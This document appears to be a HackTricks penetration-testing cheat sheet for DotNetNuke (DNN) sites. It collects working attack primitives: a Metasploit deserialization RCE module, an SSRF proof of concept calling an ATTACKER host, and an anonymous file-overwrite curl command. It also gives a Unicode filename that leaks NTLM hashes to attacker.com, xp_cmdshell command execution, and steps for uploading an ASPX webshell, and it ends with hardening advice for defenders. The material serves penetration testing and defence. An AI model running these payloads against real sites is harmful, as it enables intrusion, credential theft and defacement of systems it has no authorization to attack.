DΛΣMӨП

// HackTricks · Network Services

DotNetNuke (DNN)

DotNetNuke (DNN)

DotNetNuke (DNN)

If you enter as administrator in DNN it’s easy to obtain RCE, however a number of unauthenticated and post-auth techniques have been published in the last few years. The following cheat-sheet collects the most useful primitives for both offensive and defensive work.

Version & Environment Enumeration

  • Check the X-DNN HTTP response header – it usually discloses the exact platform version.
  • GET /Documentation/License.txt is still useful for rough version fingerprinting on many deployments.
  • The installation wizard leaks the version in /Install/Install.aspx?mode=install (accessible on very old installs).
  • /API/PersonaBar/GetStatus (9.x) returns a JSON blob containing "dnnVersion" for low-privilege users.
  • Probe Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/ early: the default CKEditor provider is the attack surface behind the 2025 anonymous upload and NTLM-leak bugs.
  • Typical cookies you will see on a live instance:
    • .DOTNETNUKE – ASP.NET forms authentication ticket.
    • DNNPersonalization – contains XML/serialized user profile data (old versions – see RCE below).

Unauthenticated Exploitation

1. Cookie Deserialization RCE (CVE-2017-9822 & follow-ups)

Affected versions ≤ 9.3.0-RC

DNNPersonalization is deserialized on every request when the built-in 404 handler is enabled. Crafted XML can therefore lead to arbitrary gadget chains and code execution. For gadget details and payload structure, check this other page about .NET deserialization gadgets.[1]

msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST  <attacker_ip>
msf> run

The module automatically chooses the right path for patched but still vulnerable versions (CVE-2018-15811, CVE-2018-15812, CVE-2018-18325, CVE-2018-18326). Useful operator notes:[1]

  • A reliable trigger is any path that reaches the built-in DNN 404 page; the Metasploit module defaults to /__.
  • In 9.1.1–9.2.1, Verified Registration leaks enough known plaintext ({portalId}-{userId} from the registration flow) to recover the weak DES-protected cookie material and re-exploit the bug.
  • In 9.2.0+, exploitation also needs a valid .DOTNETNUKE session cookie.
  • In 9.2.2–9.3.0-RC, userId became a GUID, so collecting several verification codes makes the offline key search practical again.
  • If self-registration is enabled, these “low-priv only” versions are still realistic Internet-facing targets.

2. Server-Side Request Forgery (CVE-2025-32372)

Affected versions < 9.13.8 – Patch released April 2025

A bypass of the older DnnImageHandler / remote-content validation logic enables an attacker to coerce the server to issue arbitrary GET requests (semi-blind SSRF).[3] Practical impacts:

  • Internal port scan / metadata service discovery in cloud deployments.
  • Reach hosts otherwise firewalled from the Internet.
  • Revisit older SSRF bug classes (CVE-2017-0929, CVE-2021-40186) during patch diffing, because the same image-fetching feature has been fixed multiple times.

The 2025 bypass was caused by prefix-based alias validation (portal.example.com incorrectly matching portal.example.com.attacker.tld) instead of exact host/path matching.

Proof-of-concept (replace TARGET, VALID-ALIAS, and ATTACKER):

https://TARGET/API/RemoteContentProxy?url=http://VALID-ALIAS.ATTACKER/poc

The request is triggered in the background; use Burp Collaborator / Interactsh or a simple HTTP listener and watch for callbacks rather than expecting a full response body.

3. Anonymous CKE Upload / Content Overwrite (CVE-2025-64095)

Affected versions < 10.1.1

The default HTML editor provider exposes Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx to anonymous users. By sending overrideFiles=1, an attacker can replace existing portal assets without logging in.[4]

curl -sk -X POST \
  'https://TARGET/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx' \
  -F 'file=@logo.svg;type=image/svg+xml' \
  -F 'storageFolderID=1' \
  -F 'portalID=0' \
  -F 'overrideFiles=1' \
  -F 'mode=Default'

In the default configuration this is usually an overwrite/defacement/stored-XSS primitive rather than instant ASPX RCE: uploads commonly land in Portals/_default/, and public PoCs note that the default editor path typically accepts images / SVGs instead of arbitrary server-executable extensions.

4. NTLM Hash Exposure via Unicode-normalized UNC filename (CVE-2025-52488)

Affected versions 6.0.0 – 9.x (< 10.0.1)

The same CKE upload surface can be abused with a filename that passes initial validation but normalizes into a UNC path later in the workflow.[5] Public writeups highlight fullwidth Unicode characters such as U+FF3C and U+FF0E, which become backslashes and dots late enough to re-introduce a path like \\attacker\share.jpg.

filename="%EF%BC%BC%EF%BC%BCattacker%EF%BC%8Ecom%EF%BC%BCshare.jpg"
# => \\attacker.com\share.jpg after normalization

That forces the Windows host to attempt outbound SMB authentication and leak NTLM material. Run Responder / ntlmrelayx and look for SMB callbacks instead of HTTP ones.

5. IP Filter Bypass (CVE-2025-52487)

If administrators rely on Host/IP Filters for admin portal protection, be aware that versions prior to 10.0.1 can be bypassed in reverse-proxy setups by manipulating forwarding headers such as X-Forwarded-For.[6] Test the protected login flow through the same proxy path normal users hit, not only by talking directly to the origin.

Post-Authentication to RCE

Via SQL console

Under Settings → SQL a built-in query window allows execution against the site database. On Microsoft SQL Server you can enable xp_cmdshell and spawn commands:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';

Via ASPX webshell upload

  1. Go to Settings → Security → More → More Security Settings.
  2. Append aspx (or asp) to Allowable File Extensions and Save.
  3. Browse to /admin/file-management and upload shell.aspx.
  4. Trigger it at /Portals/0/shell.aspx.

Before 9.13.2, DNN mostly validated uploads by extension and not by actual file contents. That means renamed PE files (for example a file beginning with MZ but named payload.jpg) could still be staged in the portal file store. By itself this is not IIS RCE, but it is a useful primitive for later overwrite / execution chains.

Privilege Escalation on Windows

Once code execution is achieved as IIS AppPool<Site>, common Windows privilege-escalation techniques apply. If the box is vulnerable you can leverage:

  • PrintSpoofer / RoguePotato / GodPotato when SeImpersonatePrivilege is present.
  • Token/service-account escape primitives such as SharpEfsPotato depending on OS build and patch level.

Hardening Recommendations (Blue Team)

  • Upgrade to at least 10.1.1. Staying on 9.13.8/9.13.9 only closes the older SSRF class and still leaves later HTML-editor attack surface unaddressed.[2]
  • If you must stay on 9.x, prefer the latest 9.13.x build and put the CKE browser/upload endpoints behind upstream access controls.
  • Remove residual InstallWizard.aspx* files after installation.
  • Disable outbound SMB (ports 445/139) egress.
  • Do not rely on DNN’s login IP filters unless the edge proxy overwrites forwarding headers.
  • Block access to /API/RemoteContentProxy if unused.
  • Consider denying direct Internet access to /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/ when the editor is not needed externally.

References